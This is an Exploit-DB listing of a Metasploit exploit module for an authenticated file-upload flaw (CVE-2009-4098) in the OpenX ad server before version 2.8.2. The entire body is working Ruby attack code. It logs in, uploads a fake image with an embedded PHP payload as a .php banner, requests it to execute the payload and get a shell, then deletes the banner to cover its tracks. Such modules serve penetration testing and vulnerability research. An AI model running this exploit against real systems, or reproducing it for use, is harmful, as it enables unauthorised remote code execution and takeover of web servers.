标题: OpenX - 'banner-edit.php' Arbitrary File Upload / PHP Code Execution (Metasploit) EDB-ID: 16903 CVE: 2009-4098 类型: REMOTE 平台: PHP 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: openx_banner_edit.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'OpenX banner-edit.php File Upload PHP Code Execution',
   'Description'    => %q{
     This module exploits a vulnerability in the OpenX advertising software.
    In versions prior to version 2.8.2, authenticated users can upload files
    with arbitrary extensions to be used as banner creative content. By uploading
    a file with a PHP extension, an attacker can execute arbitrary PHP code.

    NOTE: The file must also return either "png", "gif", or "jpeg" as its image
    type as returned from the PHP getimagesize() function.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2009-4098' ],
     [ 'OSVDB', '60499' ],
     [ 'BID', '37110' ],
     [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],
     [ 'URL', 'https://developer.openx.org/jira/browse/OX-5747' ],
     [ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],
     # References for making small images:
     [ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],
     [ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],
     [ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],
     [ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],
     [ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],
     [ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => '-find',
      },
     'Space'       => 1024,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Nov 24 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [true, "OpenX directory path", "/openx/"]),
    OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
    OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),
    OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),
   ], self.class)
 end

 def check
  uri = ''
  uri << datastore['URI']
  uri << '/' if uri[-1,1] != '/'
  uri << 'www/admin/'
  res = send_request_raw(
   {
    'uri' => uri
   }, 25)

  if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
   ver = $1
   vers = ver.split('.').map { |v| v.to_i }
   return Exploit::CheckCode::Safe if (vers[0] > 2)
   return Exploit::CheckCode::Safe if (vers[1] > 8)
   return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit

  # tiny images :)
  tiny_gif = "GIF89a" +
   "\x01\x00\x01\x00\x00" +
   [1,1,0x80|(2**(2+rand(3)))].pack('nnC') +
   "\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
  tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +
   rand_text_alphanumeric(8) +
   [1,1,0].pack('NNC')
  tiny_jpeg = "\xff\xd8\xff\xff" +
   [0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')
  tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]

  # Payload
  cmd_php = '<?php ' + payload.encoded + '?>'
  content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php

  # Static files
  img_dir     = 'images/'
  uri_base    = ''
  uri_base << datastore['URI']
  uri_base << '/' if uri_base[-1,1] != '/'
  uri_base << 'www/'

  # Need to login first :-/
  cookie = openx_login(uri_base)
  if (not cookie)
   raise RuntimeError, 'Unable to login!'
  end
  print_status("Logged in successfully (cookie: #{cookie})")

  # Now, check for an advertiser / campaign
  ids = openx_find_campaign(uri_base, cookie)
  if (not ids)
   # TODO: try to add an advertiser and/or campaign
   raise RuntimeError, 'The system has no advertisers or campaigns!'
  end
  adv_id = ids[0]
  camp_id = ids[1]
  print_status("Using advertiser #{adv_id} and campaign #{camp_id}")

  # Add the banner >:)
  ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
  if (not ban_id)
   raise RuntimeError, 'Unable to upload the banner!'
  end
  print_status("Successfully uploaded the banner image with id #{ban_id}")

  # Find the filename
  ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
  if (not ban_fname)
   raise RuntimeError, 'Unable to find the banner filename!'
  end
  print_status("Resolved banner id to name: #{ban_fname}")

  # Request it to trigger the payload
  res = send_request_raw({
    'uri' => uri_base + 'images/' + ban_fname + '.php'
   })

  # Delete the banner :)
  if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
   print_error("WARNING: Unable to automatically delete the banner :-/")
  else
   print_status("Successfully deleted banner # #{ban_id}")
  end

  print_status("You should have a session now.")

  handler

 end


 def openx_login(uri_base)

  res = send_request_raw(
   {
    'uri' => uri_base + 'admin/index.php'
   }, 10)
  if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)
   return nil
  end
  cookie = $1

  res = send_request_cgi(
   {
    'method'    => 'POST',
    'uri'       => uri_base + 'admin/index.php',
    'vars_post' =>
     {
      'oa_cookiecheck' => cookie,
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'login' => 'Login'
     },
    'headers'   =>
     {
      'Cookie'  => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
     },
   }, 10)
  if (not res or res.code != 302)
   return nil
  end

  # return the cookie
  cookie
 end


 def openx_find_campaign(uri_base, cookie)
  res = send_request_raw(
   {
    'uri' => uri_base + 'admin/advertiser-campaigns.php',
    'headers' =>
     {
      'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
     },
   })
  if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)
   return nil
  end

  adv_id = $1.to_i
  camp_id = $2.to_i

  [ adv_id, camp_id ]
 end


 def mime_field(boundary, name, data, filename = nil, type = nil)
  ret = ''
  ret << '--' + boundary + "\r\n"
  ret << "Content-Disposition: form-data; name=\"#{name}\""
  if (filename)
   ret << "; filename=\"#{filename}\""
  end
  ret << "\r\n"
  if (type)
   ret << "Content-Type: #{type}\r\n"
  end
  ret << "\r\n"
  ret << data + "\r\n"
  ret
 end


 def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)
  # Generate some random strings
  boundary    = ('-' * 8) + rand_text_alphanumeric(32)
  cmdscript   = rand_text_alphanumeric(8+rand(8))

  # Upload payload (file ending .php)
  data = ""
  data << mime_field(boundary, "_qf__bannerForm", "")
  data << mime_field(boundary, "clientid", adv_id.to_s)
  data << mime_field(boundary, "campaignid", camp_id.to_s)
  data << mime_field(boundary, "bannerid", "")
  data << mime_field(boundary, "type", "web")
  data << mime_field(boundary, "status", "")
  data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")
  data << mime_field(boundary, "replaceimage", "t")
  data << mime_field(boundary, "replacealtimage", "t")
  data << mime_field(boundary, "description", datastore['DESC'])
  data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")
  data << mime_field(boundary, "checkswf", "1")
  data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")
  data << mime_field(boundary, "url", "http://")
  data << mime_field(boundary, "target", "")
  data << mime_field(boundary, "alt", "")
  data << mime_field(boundary, "statustext", "")
  data << mime_field(boundary, "bannertext", "")
  data << mime_field(boundary, "keyword", "")
  data << mime_field(boundary, "weight", "1")
  data << mime_field(boundary, "comments", "")
  data << mime_field(boundary, "submit", "Save changes")
  #data << mime_field(boundary, "", "")
  data << '--' + boundary + '--'

  res = send_request_raw(
   {
    'uri'     => uri_base + "admin/banner-edit.php",
    'method'  => 'POST',
    'data'    => data,
    'headers' =>
     {
      'Content-Length' => data.length,
      'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
      'Cookie'         => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
     }
   }, 25)

  if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
   return nil
  end

  # Ugh, now we have to get the banner id!
  res = send_request_raw(
   {
    'uri'     => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}",
    'method'  => 'GET',
    'headers' =>
     {
      'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
     }
   })

  if not (res and res.body.length > 0)
   return nil
  end

  res.body.each_line { |ln|
   # make sure the title we used is on this line
   regexp = Regexp.escape(datastore['DESC'])
   next if not (ln =~ /#{regexp}/)

   next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)

   # found it! (don't worry about dupes)
   return $1.to_i
  }

  # Didn't find it :-/
  nil
 end


 def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
  # Ugh, now we have to get the banner name too!
  res = send_request_raw(
   {
    'uri'     => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
    'method'  => 'GET',
    'headers' =>
     {
      'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
     }
   })

  if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)
   return nil
  end

  return $1
 end


 def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)
  res = send_request_raw(
   {
    'uri'     => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
    'method'  => 'GET',
    'headers' =>
     {
      'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
     }
   })

  if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
   return nil
  end

  true
 end

end URL: https://www.exploit-db.com/exploits/16903